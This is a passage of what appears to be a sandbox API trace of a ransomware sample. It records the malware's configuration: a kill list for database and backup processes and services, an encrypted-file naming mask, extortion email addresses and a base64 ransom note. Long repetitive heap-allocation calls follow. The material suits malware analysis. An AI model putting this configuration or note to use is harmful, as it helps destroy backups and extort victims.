\"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 6 [0055.970] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3168508, Size=0x18) returned 0x3168448 [0055.970] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31682a8 [0055.970] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x4) returned 0x3166690 [0055.970] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3168468 [0055.970] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x4) returned 0x31666b0 [0055.970] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31681a8 [0055.970] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31666b0, Size=0x8) returned 0x315c9a8 [0055.970] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31683c8 [0055.970] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315c9a8, Size=0xc) returned 0x3161cb8 [0055.970] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3168488 [0055.970] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3161cb8, Size=0x10) returned 0x3161c28 [0055.970] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31682c8 [0055.970] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3161c28, Size=0x14) returned 0x3168368 [0055.970] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31684a8 [0055.970] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3168368, Size=0x18) returned 0x3168508 [0055.970] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3168228 [0055.970] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3168508, Size=0x1c) returned 0x3168830 [0055.970] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31683e8 [0055.970] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3168830, Size=0x20) returned 0x3168790 [0055.970] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31681c8 [0055.970] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3168790, Size=0x24) returned 0x3162200 [0055.970] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3168508 [0055.970] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3162200, Size=0x28) returned 0x31624a0 [0055.970] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31681e8 [0055.970] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31624a0, Size=0x2c) returned 0x315ba20 [0055.970] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3168208 [0055.971] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315ba20, Size=0x30) returned 0x315b7b8 [0055.971] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3168308 [0055.971] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315b7b8, Size=0x34) returned 0x316f878 [0055.971] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3168328 [0055.971] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x316f878, Size=0x38) returned 0x316f238 [0055.971] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3168368 [0055.971] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x316f238, Size=0x3c) returned 0x31606b0 [0055.971] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3168388 [0055.971] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31606b0, Size=0x40) returned 0x3160ae8 [0055.971] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c9b0 [0055.971] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3160ae8, Size=0x44) returned 0x3162798 [0055.971] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c930 [0055.971] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3166690, Size=0x8) returned 0x31666b0 [0055.971] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c970 [0055.971] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x4) returned 0x3166690 [0055.971] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c950 [0055.971] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3166690, Size=0x8) returned 0x3170240 [0055.971] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c7b0 [0055.971] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3170240, Size=0xc) returned 0x3161d90 [0055.971] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c9d0 [0055.971] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3161d90, Size=0x10) returned 0x3161bf8 [0055.971] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c770 [0055.971] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3161bf8, Size=0x14) returned 0x315c810 [0055.971] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315ca30 [0055.971] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315c810, Size=0x18) returned 0x315ca10 [0055.971] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c6d0 [0055.971] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315ca10, Size=0x1c) returned 0x31687e0 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c990 [0055.972] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31687e0, Size=0x20) returned 0x3168790 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c730 [0055.972] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3168790, Size=0x24) returned 0x31624a0 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c810 [0055.972] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31624a0, Size=0x28) returned 0x3162200 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c9f0 [0055.972] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3162200, Size=0x2c) returned 0x315b9b0 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c910 [0055.972] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315b9b0, Size=0x30) returned 0x315b7b8 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c890 [0055.972] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315b7b8, Size=0x34) returned 0x316feb8 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c7d0 [0055.972] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31666b0, Size=0xc) returned 0x3161c88 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315ca10 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x4) returned 0x3166690 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c8b0 [0055.972] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3166690, Size=0x8) returned 0x31666b0 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c7f0 [0055.972] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31666b0, Size=0xc) returned 0x3161b80 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315ca50 [0055.972] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3161b80, Size=0x10) returned 0x3161b98 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315ca70 [0055.972] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3161b98, Size=0x14) returned 0x315c790 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c8d0 [0055.972] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315c790, Size=0x18) returned 0x315c830 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c850 [0055.972] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315c830, Size=0x1c) returned 0x3168790 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c6b0 [0055.972] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3168790, Size=0x20) returned 0x3168830 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c830 [0055.972] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3168830, Size=0x24) returned 0x31624a0 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c6f0 [0055.972] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31624a0, Size=0x28) returned 0x31623b0 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c870 [0055.972] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31623b0, Size=0x2c) returned 0x315b7b8 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c8f0 [0055.972] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315b7b8, Size=0x30) returned 0x315b550 [0055.972] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c710 [0055.973] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315b550, Size=0x34) returned 0x316fe78 [0055.973] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c790 [0055.973] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x316fe78, Size=0x38) returned 0x3170138 [0055.973] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x315c750 [0055.973] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3170138, Size=0x3c) returned 0x3160ae8 [0055.973] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31702b8 [0055.973] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3160ae8, Size=0x40) returned 0x3160b78 [0055.973] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31705b8 [0055.973] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3160b78, Size=0x44) returned 0x3162518 [0055.973] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170458 [0055.973] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3162518, Size=0x48) returned 0x3162a68 [0055.973] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170278 [0055.973] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3162a68, Size=0x4c) returned 0x315b4c0 [0055.973] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170318 [0055.973] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315b4c0, Size=0x50) returned 0x315b4c0 [0055.973] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170398 [0055.973] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315b4c0, Size=0x54) returned 0x315b4c0 [0055.973] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170538 [0055.973] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315b4c0, Size=0x58) returned 0x315b4c0 [0055.973] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31703b8 [0055.973] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315b4c0, Size=0x5c) returned 0x315c478 [0055.973] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170558 [0055.973] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315c478, Size=0x60) returned 0x315c478 [0055.973] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31704d8 [0055.973] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315c478, Size=0x64) returned 0x315c478 [0055.973] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170418 [0055.973] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315c478, Size=0x68) returned 0x315c478 [0055.973] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31702f8 [0055.973] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315c478, Size=0x6c) returned 0x3162070 [0055.973] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170298 [0055.973] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3162070, Size=0x70) returned 0x3162070 [0055.973] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170478 [0055.973] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3162070, Size=0x74) returned 0x315f368 [0055.973] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170378 [0055.974] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315f368, Size=0x78) returned 0x315f368 [0055.974] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170498 [0055.974] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315f368, Size=0x7c) returned 0x3159e70 [0055.974] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31702d8 [0055.974] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3159e70, Size=0x80) returned 0x3159e70 [0055.974] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31704f8 [0055.974] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3159e70, Size=0x84) returned 0x3157d40 [0055.974] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170338 [0055.974] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3157d40, Size=0x88) returned 0x3157d40 [0055.974] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31705f8 [0055.974] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3157d40, Size=0x8c) returned 0x315ac58 [0055.974] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170358 [0055.974] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315ac58, Size=0x90) returned 0x315ac58 [0055.974] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31703d8 [0055.974] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315ac58, Size=0x94) returned 0x315f430 [0055.974] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170238 [0055.974] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315f430, Size=0x98) returned 0x315f430 [0055.974] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170518 [0055.974] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315f430, Size=0x9c) returned 0x315a508 [0055.974] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31703f8 [0055.974] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315a508, Size=0xa0) returned 0x315a508 [0055.974] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170578 [0055.974] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315a508, Size=0xa4) returned 0x3153c10 [0055.974] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170438 [0055.974] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3153c10, Size=0xa8) returned 0x3153c10 [0055.974] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170258 [0055.974] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3153c10, Size=0xac) returned 0x3159f40 [0055.974] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170598 [0055.974] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3159f40, Size=0xb0) returned 0x3159f40 [0055.974] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31705d8 [0055.974] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3159f40, Size=0xb4) returned 0x3159f40 [0055.974] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31704b8 [0055.975] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3159f40, Size=0xb8) returned 0x3159f40 [0055.975] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31709e8 [0055.975] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3159f40, Size=0xbc) returned 0x3159f40 [0055.975] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170788 [0055.975] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3159f40, Size=0xc0) returned 0x3159f40 [0055.975] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31708c8 [0055.975] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3159f40, Size=0xc4) returned 0x3159f40 [0055.975] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170908 [0055.975] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3168448, Size=0x1c) returned 0x3168790 [0055.975] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170708 [0055.975] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x4) returned 0x3166690 [0055.975] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170888 [0055.975] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3166690, Size=0x8) returned 0x31666b0 [0055.975] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31706e8 [0055.975] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31666b0, Size=0xc) returned 0x3161d00 [0055.975] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170a08 [0055.975] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3161d00, Size=0x10) returned 0x3161d90 [0055.975] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170808 [0055.975] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3161d90, Size=0x14) returned 0x3170668 [0055.975] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31708a8 [0055.975] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3170668, Size=0x18) returned 0x3170968 [0055.975] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31707a8 [0055.975] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3170968, Size=0x1c) returned 0x31687e0 [0055.975] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170768 [0055.975] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31687e0, Size=0x20) returned 0x3168830 [0055.975] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170688 [0055.975] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3168830, Size=0x24) returned 0x31622f0 [0055.975] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31706a8 [0055.976] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31622f0, Size=0x28) returned 0x31623e0 [0055.976] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31709c8 [0055.976] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31623e0, Size=0x2c) returned 0x315bbe0 [0055.976] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170a28 [0055.976] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315bbe0, Size=0x30) returned 0x315bc18 [0055.976] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170648 [0055.976] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315bc18, Size=0x34) returned 0x316ffb8 [0055.976] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170728 [0055.976] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x316ffb8, Size=0x38) returned 0x3170178 [0055.976] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170668 [0055.976] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3170178, Size=0x3c) returned 0x31606b0 [0055.976] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170988 [0055.976] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31606b0, Size=0x40) returned 0x3160ae8 [0055.976] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170748 [0055.976] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3160ae8, Size=0x44) returned 0x31627e8 [0055.976] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31707c8 [0055.976] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31627e8, Size=0x48) returned 0x31625b8 [0055.976] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31707e8 [0055.976] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31625b8, Size=0x4c) returned 0x315b4c0 [0055.976] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31709a8 [0055.976] RtlReAllocateHeap (Heap=0x3150000, 